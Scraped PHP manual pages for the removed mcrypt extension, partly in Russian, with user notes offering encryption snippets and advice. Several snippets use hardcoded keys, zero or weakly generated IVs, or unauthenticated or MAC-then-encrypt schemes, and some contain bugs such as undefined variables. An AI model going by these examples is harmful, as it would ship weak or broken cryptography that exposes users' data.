    const DEFAULT_HMAC_KEY_LENGTH = 16;
    const DEFAULT_HMAC_HASH_LENGTH = 32;
    private $keyFilePath;
    private $keyFileHandler;
    private $deferredFtruncate = false;
    private $deferredFtruncatePos;
    private $hmacAlgo = self::DEFAULT_HMAC_ALGO;
    private $hmacKeyLength = self::DEFAULT_HMAC_KEY_LENGTH;
    private $hmacHashLength = self::DEFAULT_HMAC_HASH_LENGTH;

    function __construct(string $keyFilePath, string $hmacAlgo = self::DEFAULT_HMAC_ALGO, int $hmacKeyLength = self::DEFAULT_HMAC_KEY_LENGTH)
    {
        $this->keyFilePath = $keyFilePath;
        $this->openKeyFile();

        if($hmacAlgo !== self::DEFAULT_HMAC_ALGO) {
            if(in_array($hmacAlgo, hash_algos())) {
                $this->hmacAlgo = $hmacAlgo;
                $this->hmacHashLength = strlen(hash($this->hmacAlgo, '', true));
            }
            else {
                $this->hmacAlgo = self::DEFAULT_HMAC_ALGO;
                $this->hmacHashLength = self::DEFAULT_HMAC_HASH_LENGTH;
            }
        }

        if($hmacKeyLength !== self::DEFAULT_HMAC_KEY_LENGTH) {
            $this->hmacKeyLength = $hmacKeyLength;
        }
    }
    public function encryptWithHMAC(string $data)
    {
        $hmacKey = $this->getBytes($this->hmacKeyLength);
        $encData = $this->encrypt($data);
        $dataHmac = $this->hashHmac($encData, $hmacKey);

        return $dataHmac.$encData;
    }
    public function decryptWithHMAC(string $data)
    {
        $dataLength = strlen($data);

        if($dataLength < $this->hmacHashLength)
            throw new Exception('data length '.$dataLength.' < hmac length '. $this->hmacHashLength);

        $dataHmacRemote = substr($data, 0, $this->hmacHashLength);
        $dataOnly = substr($data, $this->hmacHashLength);

        $hmacKey = $this->getBytes($this->hmacKeyLength, false);
        $dataHmacLocal = $this->hashHmac($dataOnly, $hmacKey);

        if(hash_equals($dataHmacLocal, $dataHmacRemote) === false)
            throw new Exception('Hashes not equals, remote: '.bin2hex($dataHmacRemote).' local:'. bin2hex($dataHmacLocal));

        $this->deferredFtruncate();

        return $this->encrypt($dataOnly);
    }
    public function encrypt(string $data) : string
    {
        $dataLength = strlen($data);
        $bytes = $this->getBytes($dataLength);
        for($i=0;$i<$dataLength;$i++)
            $data{$i} = $data{$i} ^ $bytes{$i};

        return $data;
    }
    public function decrypt(string $data) : string
    {
        return $this->encrypt($data);
    }
    private function hashHmac($data, $key)
    {
        return hash_hmac($this->hmacAlgo, $data, $key, true);
    }
    # Don't use in production. You must use true random number generator.
    public static function createTestKeyFile(string $filePath, int $size)
    {
        file_put_contents($filePath, random_bytes($size));
    }
    private function deferredFtruncate()
    {
        if(!$this->deferredFtruncate)
            return;

        ftruncate($this->keyFileHandler, $this->deferredFtruncatePos);
        $this->deferredFtruncate = false;
    }
    public function getBytes(int $length, $truncateNow = true) : string
    {
        fseek($this->keyFileHandler, 0, SEEK_END);
        $currentPos = ftell($this->keyFileHandler);

        if($currentPos < $length)
            throw new Exception('Not enough key materials, key size: '. $currentPos. ' needed: '.$length);

        fseek($this->keyFileHandler, -$length, SEEK_END);
        $bytes = fread($this->keyFileHandler, $length);

        if($truncateNow)
            ftruncate($this->keyFileHandler, $currentPos - $length);
        else {
            $this->deferredFtruncate = true;
            $this->deferredFtruncatePos = $currentPos - $length;
        }

        return $bytes;
    }
    private function openKeyFile()
    {
        if($this->keyFileHandler)
            return;

        if(($this->keyFileHandler = fopen($this->keyFilePath, 'rb+')) === false)
            throw new Exception('Cant open key file: '.$this->keyFilePath);

        if(!flock($this->keyFileHandler, LOCK_EX | LOCK_NB))
            throw new Exception('Cant lock key file: '.$this->keyFilePath);
    }
}
?>
leilond at hotmail dot com 27-May-2016 03:40
I always use this method to prevent a lot of errors

function encrypt( $string ) {
  $algorithm = 'rijndael-128'; // You can use any of the available
  $key = md5( "mypassword", true); // bynary raw 16 byte dimension.
  $iv_length = mcrypt_get_iv_size( $algorithm, MCRYPT_MODE_CBC );
  $iv = mcrypt_create_iv( $iv_length, MCRYPT_RAND );
  $encrypted = mcrypt_encrypt( $algorithm, $key, $string, MCRYPT_MODE_CBC, $iv );
  $result = base64_encode( $iv . $encrypted );
  return $result;
}
function decrypt( $string ) {
  $algorithm =  'rijndael-128';
  $key = md5( "mypassword", true );
  $iv_length = mcrypt_get_iv_size( $algorithm, MCRYPT_MODE_CBC );
  $string = base64_decode( $string );
  $iv = substr( $string, 0, $iv_length );
  $encrypted = substr( $string, $iv_length );
  $result = mcrypt_decrypt( $algoritmo, $key, $encrypted, MCRYPT_MODE_CBC, $iv );
  return $result;
}
scott at paragonie dot com 18-Jul-2015 10:35
If you're writing code to encrypt/encrypt data in 2015, you should use openssl_encrypt() and openssl_decrypt(). The underlying library (libmcrypt) has been abandoned since 2007, and performs far worse than OpenSSL (which leverages AES-NI on modern processors and is cache-timing safe).

Also, MCRYPT_RIJNDAEL_256 is not AES-256, it's a different variant of the Rijndael block cipher. If you want AES-256 in mcrypt, you have to use MCRYPT_RIJNDAEL_128 with a 32-byte key. OpenSSL makes it more obvious which mode you are using (i.e. 'aes-128-cbc' vs 'aes-256-ctr').

OpenSSL also uses PKCS7 padding with CBC mode rather than mcrypt's NULL byte padding. Thus, mcrypt is more likely to make your code vulnerable to padding oracle attacks than OpenSSL.

Finally, if you are not authenticating your ciphertexts (Encrypt Then MAC), you're doing it wrong.

Further reading:

https://paragonie.com/blog/2015/05/using-encryption-and-authentication-correctly

https://paragonie.com/blog/2015/05/if-you-re-typing-word-mcrypt-into-your-code-you-re-doing-it-wrong
your dot brother dot t at hotmail dot com 29-Jan-2015 11:52
The encryption has no authenticity check. It can be achieved with three methods, described in http://en.wikipedia.org/wiki/Authenticated_encryption#Approaches_to_Authenticated_Encryption
Encrypt-then-MAC (EtM), Encrypt-and-MAC (E&M), MAC-then-Encrypt (MtE).

The following is a suggestion for MtE:

<?php
        public static function getMacAlgoBlockSize($algorithm = 'sha1')
        {
            switch($algorithm)
            {
                case 'sha1':
                {
                    return 160;
                }
                default:
                {
                    return false;
                    break;
                }
            }
        }

        public static function decrypt($message, $key, $mac_algorithm = 'sha1',
                                           $enc_algorithm = MCRYPT_RIJNDAEL_256, $enc_mode = MCRYPT_MODE_CBC)
        {
            $message= base64_decode($message);
            $iv_size = mcrypt_get_iv_size($enc_algorithm, $enc_mode);

            $iv_dec = substr($message, 0, $iv_size);
            $message= substr($message, $iv_size);

            $message= mcrypt_decrypt($enc_algorithm, $key, $message, $enc_mode, $iv_dec);

            $mac_block_size = ceil(static::getMacAlgoBlockSize($mac_algorithm)/8);
            $mac_dec = substr($message, 0, $mac_block_size);
            $message= substr($message, $mac_block_size);

            $mac = hash_hmac($mac_algorithm, $message, $key, true);

            if($mac_dec == $mac)
            {
                return $password;
            }
            else
            {
                return false;
            }
        }

        public static function encrypt($message, $key, $mac_algorithm = 'sha1',
                                           $enc_algorithm = MCRYPT_RIJNDAEL_256, $enc_mode = MCRYPT_MODE_CBC)
        {

            $mac = hash_hmac($mac_algorithm, $message, $key, true);
            $mac = substr($mac, 0, ceil(static::getMacAlgoBlockSize($mac_algorithm)/8));
            $message= $mac . $message;

            $iv_size = mcrypt_get_iv_size($enc_algorithm, $enc_mode);
            $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);

            $ciphertext = mcrypt_encrypt($enc_algorithm, $key,
                                         $message, $enc_mode, $iv);

            return base64_encode($iv . $ciphertext);
        }
?>
telefoontoestel59 at hotmail dot com 04-Nov-2014 01:19
I tried to implement the mcrypt with rijndael-128. For reference I took the code from example #1 and tried running that first, but on the decryption part came back with the error: "The IV parameter must be as long as the blocksize". After a while i figured out that the generated IV string will not have the same length every run, and is almost never the size of the result of mcrypt_get_iv_size. To work around that, before merging the IV and the encrypted text, I added null padding to match the IV size. When retrieving the IV, I then could use the IV size and rtrim null padding to get the matching IV back.

The altered parts from example #1

<?php
    # --- ENCRYPTION ---
    $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);

    $ciphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key,
                                 $plaintext, MCRYPT_MODE_CBC, $iv);

    # Add null padding to match the espected size
    while(strlen($iv) < $iv_size){
        $iv .= "\0";
    }

    # prepend the IV for it to be available for decryption
    $ciphertext = $iv . $ciphertext;
?>

<?php
    # --- DECRYPTION ---
    mcrypt_get_iv_size()
    $iv_dec = rtrim(substr($ciphertext_dec, 0, $iv_size));
?>
gm dot outside+php at gmail dot com 15-Oct-2014 04:52
Please note that the following part of the documentation is no longer true (after commit: http://git.php.net/?p=php-src.git;a=commit;h=a861a3a93d89a50ce58e1ab1abef1eb501f97483):

> key
> The key with which the data will be encrypted. If it's smaller than the required keysize, it is padded with '\0'. It is better not to use ASCII strings for keys.

That commit changed the behaviour to be strict and if the keysize is smaller than the required size a warning will be issued as follows:

Warning: mcrypt_encrypt(): Key of size 10 not supported by this algorithm. Only keys of size 16 supported in script.php on line 5

and the mcrypt_encode() will return failure.
stefan at katic dot me dot rs 15-Jan-2014 10:53
I was trying (and succeeded) to encrypt and decrypt in JAVA, pass it to php, and do it again,without corrupting data when I noticed something interesting. So, my code goes like this:
$data = 'one';
$key = '1234567890123456';

function encrypt($data, $key){
    return base64_encode(
    mcrypt_encrypt(
        MCRYPT_RIJNDAEL_128,
        $key,
        $data,
        MCRYPT_MODE_CBC,
        "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
    )
);
}
function decrypt($data, $key){
    $decode = base64_decode($data);
    return mcrypt_decrypt(
                    MCRYPT_RIJNDAEL_128,
                    $key,
                    $decode,
                    MCRYPT_MODE_CBC,
                    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
            );

}
$encrypted = encrypt($data, $key);
$decrypted= decrypt($encrypted, $key);

//In the beginning, I thought something's wrong, because I did '===' comparison between $decrypted and $data. It didn't work (but later started working, again, dont know why...) So, I dumped both:
var_dump($data);
var_dump($decrypted);
//Results:
string(16) "one"
string(16) "one"
//Clearly, the length of both is 3, not 16. Just wanted to let you know what could happen, and I really don't know if this is a bug...
Thanks,
S.
MadMass 19-Mar-2013 09:42
Note that the IV must be the same for mcrypt_encrypt and mcrypt_decrypt, otherwise you will have corrupted data after decryption.
Scott.a.Herbert at googlemail.com 06-Oct-2012 09:49
It is always better to use a standard encryption cipher's rather than to "roll your own", firstly the standard cipher has been tested by world class crypto-analysis's where as unless your a world class crypto-analysis (and if you are why are you even thinking of rolling your own?!?) you won't have the skills needed to even test it (for example if you just XOR each character with a key, it may look secure (the text will be different) but if you count the number of times a character is repeated you see whatever the letter "E" encrypts to occurs more often then the encrypted "Z" (assuming English language plain text)

Secondly, you may think that the hidden nature of your cipher makes it more secure, but the fact is that your cipher is likely *only* secure because it's secret, if someone what able to break-in to your site and steal your code (but not your key) they maybe able break you encrypted data, if someone broke in and found you where using Blowfish (for example) it wouldn't help them.
Anonymous 12-May-2011 07:03
In the other notes there are some misconceptions about crypto and the IV, especially for CBC mode.

The most important point: Encryption DOES NOT provide any proof of data integrity or authentication WHATSOEVER. If you need to be sure that the data is secret and not tampered with, you need to encrypt THEN use a keyed HMAC.

For CBC mode, the IV DOES NOT need to be secret. It can be sent along with the plaintext. It needs to be UNIQUE and RANDOM. So that every message is encrypted with a different IV.

The best way to generate an IV is to use mcrypt_create_iv().

Keys must be binary, not ASCII. To create a key from a password:

<?php
$password = "MyPassword!1!";
$aes256Key = hash("SHA256", $password, true); //we want a 32 byte binary blob
?>
Anonymous 16-Jan-2011 11:40
I've noticed some people using a-z, A-Z and 0-9 for keys and stating things like "16 characters is a 128-bit key". This isn't true. Using only these characters, you will get at most 6 bits of entropy per chartacter:

log2(26 + 26 + 10) = 5.954196310386876

So you're actually only getting 95 bits of entropy in 16 characters, which is 0.0000000117% of the keyspace you would get if you were using the full range.

In order to get the full entropy from a key using just a-z, A-Z and 0-9 you should multiply your key length by 1.3333 to account for the 2 bits of lost entropy per byte.
Robin Leffmann 09-Mar-2010 05:58
Contrary to what is implied in the mcrypt_encrypt() manual page, as well as the info given regarding the CBC vs CFB modes, mcrypt_encrypt() works just fine for encrypting binary data as well.

A simple example verifies that the decrypted output is binary identical once cut to its original length:

<?php

// 448-bit key (56 bytes) - the only size that mcrypt/php uses for the Blowfish cipher
// (using a smaller key works just fine, as mcrypt appends \0 to reach proper key-size)
$key = 'SADFo92jzVnzSj39IUYGvi6eL8v6RvJH8Cytuiouh547vCytdyUFl76R';

// Blowfish/CBC uses an 8-byte IV
$iv = substr( md5(mt_rand(),true), 0, 8 );

// do 50 encrypt/decrypt operations on some random data, and verify integrity with md5()
for( $i = 0; $i < 50; $i++ )
{
    // create a random, binary string of random length
    $size = mt_rand( 25000, 500000 );
    $c = 0; $data = null;
    while( $c++ * 16 < $size )
        $data .= md5( mt_rand(), true );
    $data = substr( $data, 0, $size );
    $cksum = md5( $data );

    // encrypt using Blowfish/CBC
    $enc = mcrypt_encrypt( MCRYPT_BLOWFISH, $key, $data, MCRYPT_MODE_CBC, $iv );

    echo $size . ' -> ' . strlen( $enc ) . ' -> ';

    // decrypt (using same IV - a must for the CBC mode)
    $dec = mcrypt_decrypt( MCRYPT_BLOWFISH, $key, $enc, MCRYPT_MODE_CBC, $iv );

    // cut the output with substr(), NOT by using rtrim() as is suggested in some of
    // the mcrypt manual pages - this is binary data, not plaintext
    echo ( md5(substr($dec, 0, $size)) == $cksum ? 'ok' : 'bad' ) . PHP_EOL;
}

?>
Anonymous 16-Oct-2007 04:15
I should mention that ECB mode ignores the IV, so it is misleading to show an example using both MCRYPT_MODE_ECB and an IV (the example in the manual shows the same thing).  Also, it's important to know that ECB is useful for random data, but structured data should use a stronger mode like MCRYPT_MODE_CBC

Also, rtrim($decryptedtext, "\0") would be a better option to remove NULL padding than my lazy trim()...
stonecypher at gmail dot com 11-Sep-2006 01:11
Most of the user-written cipher examples here are badly broken, and there are a few cases where the manual says things that are outright incorrect, such as that it's "safe to transmit the initialization vector in plaintext" (this is incorrect: see Ciphers By Ritter, http://www.ciphersbyritter.com/GLOSSARY.HTM#IV ,  for details.)

mcrypt itself is perfectly safe, but correct and therefore safe usage is inobvious.  It is important to use a cryptographic library correctly; a simple usage error, even when it produces results that can be unpacked at the other side, can render a strong algorithm completely useless.

The initialization vector must be permuted with a recoverable noise source (an arbitrary md5 hash is acceptable, since it's just a fake OTP and its origin contents are wholly unimportant.)

Passwords should be remade with a salted one-way hash (md5 is again acceptable even though it's been damaged, since the only thing you could recover from a cracked md5 hash is the source data to generate the password, which is useless.)

It's important to use a sane block mode (OFB is unsafe for almost all algorithms; never use it.  Prefer CBC in all cases except where you need to deal with a degraded signal and cannot retransmit.)

A correct usage example is actually pretty long and needs a lot of explanation, so I developed a safe wrapper library which doesn't constrain usage and which comments itself very heavily.  It's appropriate for use or for learning.  Please see my blog for details on Stone PHP SafeCrypt:

http://blog.sc.tri-bit.com/archives/101
ale_ferrer at yahoo dot com 24-Jul-2006 02:35
Mcript - Dot NET - 3DES problem.

This is a solution for the 3DES algorithm's problem in his interaction with .NET TripleDESCryptoServiceProvider (System.Security.Cryptography), CBC mode,  because the key is completed to 192bits and the text is padded.

So, we has two problems:
           - The key's completion  was posted by "jesse at pctest dot com".
           - The text padding also posted by him, but the completion is a little different. The padding bytes are 0x01 to 0x08 because completed to 8 bytes blocks. If your text have a whole number of 8 bytes blocks, the algorithm add other block with padded bytes (0x08).

This is a function to encrypt a text in a equal form that the Dot NET algorithm:

<?PHP
function encryptNET3DES($key, $vector, $text){
    $td = mcrypt_module_open (MCRYPT_3DES, '', MCRYPT_MODE_CBC, '');

    // Complete the key
    $key_add = 24-strlen($key);
    $key .= substr($key,0,$key_add);

    // Padding the text
    $text_add = strlen($text)%8;
    for($i=$text_add; $i<8; $i++){
        $text .= chr(8-$text_add);
    }

    mcrypt_generic_init ($td, $key, $vector);
    $encrypt64 = mcrypt_generic ($td, $text);
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);

     // Return the encrypt text in 64 bits code
    return $encrypt64;
}
?>
jesse at pctest dot com 07-Dec-2004 02:43
Solving 3DES incompatibilities with .NET's TripleDESCryptoServiceProvider

mcrypt's 3DES only accepts 192 bit keys, but Microsoft's .NET and many other tools accept both 128 and 192 bit keys.
If your key is too short, mcrypt will 'helpfully' pad null characters onto the end, but .NET refuses to use a key where the last third is all null (this is a Bad Key). This prevents you from emulating mcrypt's "short key" behaviour in .NET.

How to reconcile this? A little DES theory is in order
3DES runs the DES algorithm three times, using each third of your 192 bit key as the 64 bit DES key

Encrypt Key1 -> Decrypt Key2 -> Encrypt Key3

and both .NET and PHP's mcrypt do this the same way.
The problem arises in short key mode on .NET, since 128 bits is only two 64 bit DES keys
The algorithm that they use then is:

Encrypt Key1 -> Decrypt Key2 -> Encrypt Key1

mcrypt does not have this mode of operation natively.
but before you go and start running DES three times yourself, here's a Quick Fix
<?php
$my_key = "12345678abcdefgh"; // a 128 bit (16 byte) key
$my_key .= substr($my_key,0,8); // append the first 8 bytes onto the end
$secret = mcrypt_encrypt(MCRYPT_3DES, $my_key, $data, MCRYPT_MODE_CBC, $iv);  //CBC is the default mode in .NET
?>

And, like magic, it works.

There's one more caveat: Data padding
mcrypt always pads data will the null character
but .NET has two padding modes: "Zeros" and "PKCS7"
Zeros is identical to the mcrypt scheme, but PKCS7 is the default.
PKCS7 isn't much more complex, though:
instead of nulls, it appends the total number of padding bytes (which means, for 3DES, it can be a value from 0x01 to 0x07)
if your plaintext is "ABC", it will be padded into:
0x41 0x42 0x43 0x05 0x05 0x05 0x05 0x05

You can remove these from a decrypted string in PHP by counting the number of times that last character appears, and if it matches it's ordinal value, truncating the string by that many characters:
<?php
    $block = mcrypt_get_block_size('tripledes', 'cbc');
    $packing = ord($text{strlen($text) - 1});
    if($packing and ($packing < $block)){
      for($P = strlen($text) - 1; $P >= strlen($text) - $packing; $P--){
    if(ord($text{$P}) != $packing){
      $packing = 0;
    }
      }
    }
    $text = substr($text,0,strlen($text) - $packing);
?>

And to pad a string that you intend to decrypt with .NET, just add the chr() value of the number of padding bytes:
<?php
    $block = mcrypt_get_block_size('tripledes', 'cbc');
    $len = strlen($dat);
    $padding = $block - ($len % $block);
    $dat .= str_repeat(chr($padding),$padding);
?>

That's all there is to it.
Knowing this, you can encrypt, decrypt, and duplicate exactly any .NET 3DES behaviour in PHP.


Эта функция деинициализирует модуль шифрования

  • « mcrypt_encrypt
  • mcrypt_generic_init »
  • PHP Manual
  • Mcrypt
  • Эта функция деинициализирует модуль шифрования

mcrypt_generic_deinit

(PHP 4 >= 4.0.7, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_generic_deinit — Эта функция деинициализирует модуль шифрования

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_generic_deinit(resource $td): bool

Эта функция прерывает шифрование, заданное дескриптором шифрования (td). Она очищает все буферы, но не закрывает модуль. Для закрытия модуля вы должны самостоятельно вызвать mcrypt_module_close(), либо он будет автоматически закрыт по завершении работы скрипта.

Список параметров

td

Дескриптор шифрования.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • mcrypt_module_open() - Открывает модуль шифрования с использованием указанных алгоритма и режима
  • mcrypt_generic_init() - Функция инициализирует все буферы, необходимые для шифрования

User Contributed Notes

There are no user contributed notes for this page.


Функция инициализирует все буферы, необходимые для шифрования

  • « mcrypt_generic_deinit
  • mcrypt_generic »
  • PHP Manual
  • Mcrypt
  • Функция инициализирует все буферы, необходимые для шифрования

mcrypt_generic_init

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_generic_init — Функция инициализирует все буферы, необходимые для шифрования

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_generic_init(resource $td, string $key, string $iv): int

Вы должны вызывать эту функцию перед любым вызовом mcrypt_generic() или mdecrypt_generic().

Список параметров

td

Дескриптор шифрования.

key

Максимальная длина ключа должна быть получена с помощью функции mcrypt_enc_get_key_size() и любое меньшее значение допустимо.

iv

Обычно размер инициализирующего вектора(IV) должен совпадать с размером блока, но вы всё равно должны получить это значение с помощью функции mcrypt_enc_get_iv_size(). IV игнорируется в ECB. IV ДОЛЖЕН присутствовать в режимах CFB, CBC, STREAM, nOFB и OFB. Он должен быть случайным и уникальным (но не обязательно секретным). Один и тот же IV должен использоваться как при шифровании так и при дешифровке. Если вы не хотите его использовать - просто установите его равным нулю, но так поступать не рекомендуется.

Возвращаемые значения

В случае возникновения ошибки эта функция возвращает отрицательное число: -3 если длина ключа некорректна, -4 если возникли проблемы с выделением памяти, а любое другое значение обозначает неизвестную ошибку. Также, в случае любой ошибки будет вызвано предупреждение. если переданы некорректные параметры, будет возвращено false.

Смотрите также

  • mcrypt_module_open() - Открывает модуль шифрования с использованием указанных алгоритма и режима

User Contributed Notes

Anonymous 26-Feb-2013 06:33
The mcrypt implementation of RC2 algorithm supports an effective key length of 1024 bits only.
It is however possible to use an effective key length in 1..1024 bits, by transforming the key before use as follows:

<?php

function transformKey($key, $effKeyLen)

{
    $pitable = array(
        0xD9, 0x78, 0xF9, 0xC4, 0x19, 0xDD, 0xB5, 0xED, 0x28, 0xE9, 0xFD, 0x79, 0x4A, 0xA0, 0xD8, 0x9D,
        0xC6, 0x7E, 0x37, 0x83, 0x2B, 0x76, 0x53, 0x8E, 0x62, 0x4C, 0x64, 0x88, 0x44, 0x8B, 0xFB, 0xA2,
        0x17, 0x9A, 0x59, 0xF5, 0x87, 0xB3, 0x4F, 0x13, 0x61, 0x45, 0x6D, 0x8D, 0x09, 0x81, 0x7D, 0x32,
        0xBD, 0x8F, 0x40, 0xEB, 0x86, 0xB7, 0x7B, 0x0B, 0xF0, 0x95, 0x21, 0x22, 0x5C, 0x6B, 0x4E, 0x82,
        0x54, 0xD6, 0x65, 0x93, 0xCE, 0x60, 0xB2, 0x1C, 0x73, 0x56, 0xC0, 0x14, 0xA7, 0x8C, 0xF1, 0xDC,
        0x12, 0x75, 0xCA, 0x1F, 0x3B, 0xBE, 0xE4, 0xD1, 0x42, 0x3D, 0xD4, 0x30, 0xA3, 0x3C, 0xB6, 0x26,
        0x6F, 0xBF, 0x0E, 0xDA, 0x46, 0x69, 0x07, 0x57, 0x27, 0xF2, 0x1D, 0x9B, 0xBC, 0x94, 0x43, 0x03,
        0xF8, 0x11, 0xC7, 0xF6, 0x90, 0xEF, 0x3E, 0xE7, 0x06, 0xC3, 0xD5, 0x2F, 0xC8, 0x66, 0x1E, 0xD7,
        0x08, 0xE8, 0xEA, 0xDE, 0x80, 0x52, 0xEE, 0xF7, 0x84, 0xAA, 0x72, 0xAC, 0x35, 0x4D, 0x6A, 0x2A,
        0x96, 0x1A, 0xD2, 0x71, 0x5A, 0x15, 0x49, 0x74, 0x4B, 0x9F, 0xD0, 0x5E, 0x04, 0x18, 0xA4, 0xEC,
        0xC2, 0xE0, 0x41, 0x6E, 0x0F, 0x51, 0xCB, 0xCC, 0x24, 0x91, 0xAF, 0x50, 0xA1, 0xF4, 0x70, 0x39,
        0x99, 0x7C, 0x3A, 0x85, 0x23, 0xB8, 0xB4, 0x7A, 0xFC, 0x02, 0x36, 0x5B, 0x25, 0x55, 0x97, 0x31,
        0x2D, 0x5D, 0xFA, 0x98, 0xE3, 0x8A, 0x92, 0xAE, 0x05, 0xDF, 0x29, 0x10, 0x67, 0x6C, 0xBA, 0xC9,
        0xD3, 0x00, 0xE6, 0xCF, 0xE1, 0x9E, 0xA8, 0x2C, 0x63, 0x16, 0x01, 0x3F, 0x58, 0xE2, 0x89, 0xA9,
        0x0D, 0x38, 0x34, 0x1B, 0xAB, 0x33, 0xFF, 0xB0, 0xBB, 0x48, 0x0C, 0x5F, 0xB9, 0xB1, 0xCD, 0x2E,
        0xC5, 0xF3, 0xDB, 0x47, 0xE5, 0xA5, 0x9C, 0x77, 0x0A, 0xA6, 0x20, 0x68, 0xFE, 0x7F, 0xC1, 0xAD);
    $invpitable = array_flip($pitable);

    //    Apply the regular RC2 key expansion algorithm.
    $t = strlen($key);
    $key = array_values(unpack('C*C', $key));

    for ($i = $t; $i < 128; $i++)
        $key[$i] = $pitable[($key[$i - 1] + $key[$i - $t]) & 0xFF];

    $t8 = ($effKeyLen + 7) >> 3;
    $tm = 0xFF >> (8 * $t8 - $effKeyLen);
    $i = 128 - $t8;
    $key[$i] = $pitable[$key[$i] & $tm];

    while ($i--)
        $key[$i] = $pitable[$key[$i + 1] ^ $key[$i + $t8]];

    //    Map the first byte: this operation will be undone by
    //        mcrypt internals.
    $key[0] = $invpitable[$key[0]];

    //    Return the transformed key as a string.
    array_unshift($key, 'C*');
    return call_user_func_array('pack', $key);
}

//    Usage example
$r = mcrypt_module_open(MCRYPT_RC2, $algoDir, $mode, $modeDir);
mcrypt_generic_init($r, transformKey($originalKey, $effectiveKeyLength), $iv);

?>


Функция шифрует данные

  • « mcrypt_generic_init
  • mcrypt_get_block_size »
  • PHP Manual
  • Mcrypt
  • Функция шифрует данные

mcrypt_generic

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_generic — Функция шифрует данные

Внимание

Эта функция объявлена УСТАРЕВШЕЙ, начиная с PHP 7.1.0 и была УДАЛЕНА в версии PHP 7.2.0. Использовать эту функцию крайне не рекомендуется.

Описание

mcrypt_generic(resource $td, string $data): string

Эта функция шифрует данные. Данные будут дополнены символами "\0" для того, чтобы их размер стал кратен размеру блока. Эта функция возвращает зашифрованные данные. Обратите внимание, что длина возвращаемой строки может быть больше исходной из-за дополнения.

Если вы хотите хранить шифрованные данные в базе данных, убедитесь, что вы сохраняете строку полностью, как она была возвращена этой функцией, иначе вы потом не сможете её расшифровать. Если ваша оригинальная строка была 10 символов длиной, а размер блока равен 8 (используйте mcrypt_enc_get_block_size() для определения размера блока), то размер столбца базы данных должен быть как минимум 16 символов. Обратите внимание, что строка возвращаемая mdecrypt_generic() также будет размером 16 символов. В таком случае просто используйте rtrim($str, "\0") для удаления добавленных символов.

К примеру, если вы сохраните данные в MySQL, помните, что при вставке значений в поля типа VARCHAR, у них автоматически отбрасываются пробелы из конца строки. Если зашифрованные данные кончаются на пробел (ASCII 32), то они будут повреждены при такой вставке. Лучше используйте для хранения поля типа TINYBLOB/TINYTEX или больше.

Список параметров

td

Дескриптор шифрования.

Обработчик шифрования всегда должен инициализироваться с помощью mcrypt_generic_init() с ключом и инициализирующим вектором перед вызовом функции. Как только шифрование завершено, необходимо освободить буферы шифрования путём вызова функции mcrypt_generic_deinit(). Смотрите пример в описании функции mcrypt_module_open().

data

Данные для шифрования.

Возвращаемые значения

Возвращает зашифрованные данные.

Смотрите также

  • mdecrypt_generic() - Дешифровка данных
  • mcrypt_generic_init() - Функция инициализирует все буферы, необходимые для шифрования
  • mcrypt_generic_deinit() - Эта функция деинициализирует модуль шифрования

User Contributed Notes

maxximus007 at gmail dot com 16-Aug-2007 08:21
Behaviour change: Since 5.2.x mcrypt_generic will issue a warning when the datastring is empty.
tmacedo at linux dot ime dot usp dot br 13-Nov-2006 09:22
completing  the post from Ryan Thomas, ryanrst at gmail dot com, if u post a cookie w/ HTTP method, its may be encoded;
As some chars in base64 will be encoded to another things, u can just replace them before encode and after decode;
Its a tweak from dawgeatschikin at hotmail dot com to original idea from massimo dot scamarcia at gmail dot com
(see @ http://www.php.net/manual/en/function.base64-encode.php):
<?php
function urlsafe_b64encode($string)
{
  $data = base64_encode($string);
  $data = str_replace(array('+','/','='),array('-','_','.'),$data);
  return $data;
}
function urlsafe_b64decode($string)
{
  $data = str_replace(array('-','_','.'),array('+','/','='),$string);
  $mod4 = strlen($data) % 4;
  if ($mod4) {
    $data .= substr('====', $mod4);
  }
  return base64_decode($data);
}
?>
chad 0x40 herballure 0x2e com 12-Jul-2006 08:28
Addendum to my previous note: apparently there was some sort of character encoding breakage; PHP does not pad if no padding is needed, and the extra padding I saw was the result of chr(X) returning multiple bytes or something.

The pad/unpad functions I gave are still binary-safe, though, and are to the best of my knowledge completely compatible with NIST 800-38a.
chad 0x40 herballure 0x2e com 12-Jul-2006 07:36
If the data is already n*blocksize long, PHP pads with another full block of "\0", so there will be between 1 and mcrypt_enc_get_block_size($td) bytes of padding.

You can create binary-safe padding by unconditionally adding a 0x80 to the string, then stripping trailing "\0"s PHP added, plus the one 0x80 byte.

<?php
function pad($text) {
  // Add a single 0x80 byte and let PHP pad with 0x00 bytes.
  return pack("a*H2", $text, "80");
}
function unpad($text) {
  // Return all but the trailing 0x80 from text that had the 0x00 bytes removed
  return substr(rtrim($text, "\0"), 0, -1);
}
?>
eric at ez-llc dot com 11-Mar-2006 12:55
I was able get php and perl to play together with blowfish using cipher block chaining.  The blowfish key needs to be atleast 8 chars (even though blowfish min is 8 bits, perl didn't like keys smaller than 8 chars) and max 56.  The iv must be exactly 8 chars and padding needs to be null because php pads with nulls.  Also, php needs libmcrypt >= 2.4.9 to be compatible with perl.

PERL
----

use Crypt::CBC;
$cipher = Crypt::CBC->new( {'key' => 'my secret key',
                                    'cipher'=> 'Blowfish',
                                    'iv' => '12345678',
                                    'regenerate_key' => 0,
                                    'padding' => 'null',
                                    'prepend_iv' => 0
                                    });
$cc = 'my secret text';
$encrypted = $cipher->encrypt($cc);
$decrypted = $cipher->decrypt($encrypted);

print "encrypted : ".$encrypted;
